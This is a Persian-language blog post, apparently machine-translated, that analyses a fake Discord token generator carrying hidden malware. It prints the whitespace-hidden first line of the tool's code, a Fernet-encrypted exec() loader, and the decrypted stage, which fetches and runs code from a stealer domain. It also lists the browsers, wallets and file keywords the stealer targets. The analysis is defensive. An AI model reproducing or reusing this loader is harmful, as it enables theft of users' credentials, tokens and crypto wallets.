برنامه نویسی

افشای فریب: ایجاد کننده حساب اختلاف با بدافزار پنهان

جامعه Discord به پناهگاهی برای عوامل مخرب تبدیل شده است، خواه از طریق استفاده از سرور CDN Discord برای پخش فایل های مخرب با یک پیوند قابل اعتماد، استفاده از سرورهای Discord به عنوان سرورهای C2 و موارد دیگر باشد.

به طور خاص، در این پست من یکی از بسیاری از “مولدهای نشانه اختلاف” مخرب موجود در بازار را بررسی خواهم کرد، اجازه دهید شروع کنیم.

این نرم افزار در GitHub به عنوان یک پروژه منبع باز در اینجا تبلیغ می شود.

اگر به توضیحات پروژه سر بزنید، چیز بسیار عجیبی خواهید دید. نسخه غیر کاربردی پروژه را منبع باز کنید و نسخه پولی آن را در همان مخزن تبلیغ کنید؟

مخزن

فروشگاه توسط sell.app پشتیبانی می‌شود، بنابراین خود وب‌سایت مخرب به نظر نمی‌رسد.

اکنون اجازه می دهد تا دانلود نسخه پولی را بررسی کنیم.

دانلود شامل یک فایل “genSetup.zip” حاوی موارد زیر است:
فایل محتوای

  • config.toml: فایل پیکربندی خالی است، شاید ایجاد شود؟ (نکته: نه اینطور نیست)
  • key.txt: به نظر می رسد جایی که کاربر قرار است کلید خود را وارد کند. من فرض می کنم یکی پس از خرید داده شده است.
  • requires.txt: شامل کتابخانه های معتبری است که برای این نوع پروژه مورد نیاز است.
  • start.bat: به سادگی فایل پایتون را اجرا می کند، هیچ چیز خاصی در آنجا نیست.

با باز کردن main.py موارد زیر را مشاهده می کنیم (به واردات توجه کنید)
کد اسکرین شات

پس از بررسی بقیه کد، مشابه نسخه ای است که بازیگر در GitHub آپلود کرده است. به نظر می رسد هیچ کد مخربی وجود ندارد، حداقل برای کاربر مخرب نیست. اختلاف چیز دیگری می گوید.

پس این کد مخرب کجاست؟ یک فایل پایتون غیر مبهم به ما داده شد.

ممکن است قبلاً در اسکرین شات کد اولیه متوجه شده باشید، اما نوار اسکرول افقی به ما اطلاع می دهد که محتوای بسیار بیشتری برای دیدن وجود دارد. و معلوم شد که کد مخرب در همان خط اول قرار دارد که فقط با یک دسته فاصله سفید پر شده است.

در اینجا کد اصلاح شده چند خط اول با فاصله سفید حذف شده است.

import requests   ;import os;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'NxcOFeqTLbTifLJ5_7mxQXhutuWykVQw0M_plAqkbAk=').decrypt(b'gAAAAABmZSyv6BjNz3eMFn6xU8umUhs2m33n49caMlU4XWRcQBntQQ2jwtDuUA9pKNfT9wnyBx6TJoPUvA2vDVJkWV5KcAsR1Qtjmgsr-t1oenrd8TxXsDO6QGg2LcQlMonT1qgE8LZ4KDDIKlDupRJLqakR1ZkvtJctUKSMBFIP0Y2EmXjCFCgIzC-n4kJDmsiqJUiUMIcrEgP30SU4GU2lfwOhDyO95cv7MXdbZAyLbqfd0nwK2sU=')) # type: ignore
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

یک آستر یواشکی. اکنون می توانیم بررسی محموله را آغاز کنیم.

ابتدا کتابخانه های زیر را نصب می کند:
این کتابخانه ها در فایل “requirements.txt” ارائه شده فهرست نشده اند.

  1. رمزنگاری
  2. سرخس
  3. درخواست ها

این # type: ignore برای پنهان کردن خطاهای نوع استفاده می شود.

ما به وضوح می بینیم که برخی از کدهای رمزگذاری شده در حال اجرا هستند exec() فراخوانی تابع

خوشبختانه برای ما، کلید رمزگذاری fernet دقیقاً در کد موجود است!

اگر کلید رمزگذاری در کد منبع ارائه شده باشد، رمزگذاری بار چه فایده ای دارد؟
این یک تکنیک اجتنابی است که برای فرار از هر گونه اسکنر بدافزار مبتنی بر امضا استفاده می شود.

با استفاده از کد زیر که نوشتم، توانستم کد رمزگشایی شده را ببینم.

key = "NxcOFeqTLbTifLJ5_7mxQXhutuWykVQw0M_plAqkbAk="
message = "gAAAAABmZSyv6BjNz3eMFn6xU8umUhs2m33n49caMlU4XWRcQBntQQ2jwtDuUA9pKNfT9wnyBx6TJoPUvA2vDVJkWV5KcAsR1Qtjmgsr-t1oenrd8TxXsDO6QGg2LcQlMonT1qgE8LZ4KDDIKlDupRJLqakR1ZkvtJctUKSMBFIP0Y2EmXjCFCgIzC-n4kJDmsiqJUiUMIcrEgP30SU4GU2lfwOhDyO95cv7MXdbZAyLbqfd0nwK2sU="

fernet = Fernet(key1)
decrypted_message = fernet.decrypt(message)
print(decrypted_message.decode())
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

و این هم خروجی:

exec(requests.get('https://1312stealer.ru/paste?userid=1000000000').text.replace('
','').replace('

','))

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

یکی دیگر از exec() فراخوانی تابع، با محتوای یک وب سایت با دامنه 1312stealer. الان خیلی ظریف نیست

به هر حال، ببینیم این چه چیزی در حال اجرا است.
PasteFromSite

دوباره fernet را نصب می کنید؟ و این بار با دستور اجرای سیستم متفاوت؟ به نظر من کسی از ctrl+c و ctrl+v بیش از حد استفاده کرده است 😂

بیایید این را تجزیه کنیم.
کد در حال ایجاد فایلی به نام “gruppe.py” در دایرکتوری APPDATA و نوشتن کد در آن است و در نهایت آن را اجرا می کند.

با قضاوت بر اساس طول محموله رمزگذاری شده (که در تصویر بالا بریده شده است) به نظر می رسد محموله نهایی باشد.

اجازه می‌دهیم آن را با استفاده از همان روشی که قبلاً استفاده شده بود رمزگشایی کنیم و ببینیم این بدافزار دقیقاً چه می‌کند.

حالا بیایید ببینیم چه کاری انجام می دهد.

یک لیست هدفمند از مرورگرها، افزونه های مرورگر، کیف پول ها، دایرکتوری ها برای جستجو، کلمات کلیدی فایل، پسوند فایل، و مسیرهای نشانه اختلاف وجود دارد.

در اینجا اهداف خاص وجود دارد:

مرورگرها

  • گوگل کروم
  • مایکروسافت اج
  • اپرا
  • Opera GX
  • شجاع
  • Yandex
  • فایرفاکس

برنامه های افزودنی مرورگر

  • احراز هویت
  • بایننس
  • برنامه بیت
  • BoltX
  • سکه 98
  • کوین بیس
  • هسته
  • کروکوبیت
  • برابر
  • همیشه
  • ExodusWeb3
  • بزرگ شو
  • فینی
  • نگهبان
  • انجمن صنفی
  • HarmonyOotdated
  • نماد
  • جکس
  • کایاک
  • کاردیا چین
  • کپلر
  • برابری
  • MEWCX
  • MaiarDEFI
  • مریخی
  • ریاضی
  • متاماسک
  • متاماسک2
  • موباکس
  • نامی
  • خوب
  • اکسیژن
  • پالی کیف
  • پترا
  • فانتوم
  • پل
  • رونین
  • Safepal
  • زحل
  • شیب
  • سولفار
  • سولت
  • استارکوین
  • سواش
  • تمپلتزوس
  • TerraStation
  • جیب توکن
  • تن
  • ترون
  • کیف پول اعتماد کنید
  • وامبت
  • XDEFI
  • XMR.PT
  • XinPay
  • یوروی
  • کیف پول

کیف پول

  • اتمی
  • خروج
  • الکتروم
  • Electrum-LTC
  • Zcash
  • اسلحه خانه
  • بایت کوین
  • جکس
  • اتریوم
  • نگهبان
  • کوینومی

مسیرهای هدف

  • دسکتاپ
  • اسناد
  • دانلودها
  • OneDrive\Documents
  • OneDrive\Desktop

کلمات کلیدی فایل

  • passw
  • mdp
  • کلمه عبور
  • وارد شدن
  • راز
  • حساب
  • حساب
  • پی پال
  • ضیافت
  • متاماسک
  • کیف پول
  • رمزنگاری
  • خروج
  • اختلاف
  • 2fa
  • کد
  • یادداشت
  • حساب
  • نشانه
  • پشتیبان گیری
  • پنهانی

حالا بیایید بیشتر بررسی کنیم که چگونه آنها را هدف قرار می دهند.

ابتدا رمز عبور و کوکی ها از مرورگر بازیابی شده و در “APPDATA\gruppe_storage” ذخیره می شوند. این پوشه ذخیره سازی برای ذخیره تمام جزئیات استخراج شده از دستگاه قربانی استفاده می شود.

گذرواژه هایی که بازیابی می شوند همان هایی هستند که شما برای ذخیره انتخاب می کنید (آن پنجره ای که از شما می خواهد هر زمان که در سایتی ثبت نام می کنید رمز عبور را ذخیره کنید).

کد مرورگر

پوشه های افزونه مرورگر به سادگی به صورت کامل فشرده می شوند، هیچ داده خاصی از آنها استخراج نمی شود.
ExtensionCode

با استفاده از بیان منظم، نشانه‌های اختلاف از فایل‌های اختلاف محلی بازیابی می‌شوند. همراه با توکن‌ها، داده‌های مرتبط از جمله شماره تلفن، ایمیل، نام نمایشی، شناسه کاربر نیز بازیابی می‌شوند.

در صورتی که اطلاع ندارید، دسترسی به نشانه اختلاف یک فرد به شما امکان می دهد بدون در نظر گرفتن احراز هویت دو عاملی، احراز هویت را به عنوان آنها انجام دهید.

فایل های واقع در دایرکتوری دسکتاپ یا اسناد بر اساس کلیدواژه های هدف و پسوند فایل لیست شده در بالا فیلتر می شوند.

PathFilteringCode

مانند برنامه های افزودنی مرورگر، مسیرهای کیف پول نیز به طور کامل فشرده می شوند.

WalletPathCode

مخصوص کیف پول Atomic و Exodus، کد مخرب بازیابی شده از https://1312stealer.ru/wallet و https://1312stealer.ru/wallet/atomic در دایرکتوری های کیف پول نوشته می شوند و به کیف پول ها تزریق می شوند و یادداشت ها و رمزهای عبور را ضبط می کنند.

WalletInjectionCode

ده بار. 10 بار تابع تزریق را فراخوانی می کند. من حدس می زنم که آنها واقعاً آن را در آنجا می خواهند 😂

خوب اکنون همه آن داده ها در آن نشسته اند APPDATA\grouppe_storage، چگونه آنها به این داده ها دست پیدا می کنند؟

SendToServerCall
ما می توانیم ببینیم که هر فایل در grouppe_storage به عنوان یک پارامتر به upload_to_server() تابع.

در اینجا می توانیم مکان نهایی ارسال این داده ها را مشاهده کنیم: 1312stealer.ru/delivery
SendToServerCode

باز هم 10 بار تماس گرفته شده است. شاید 10 عدد شانس آنها باشد 🤷

این فقط خلاصه این پست است، ممنون که خواندید 🙂

🌱

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا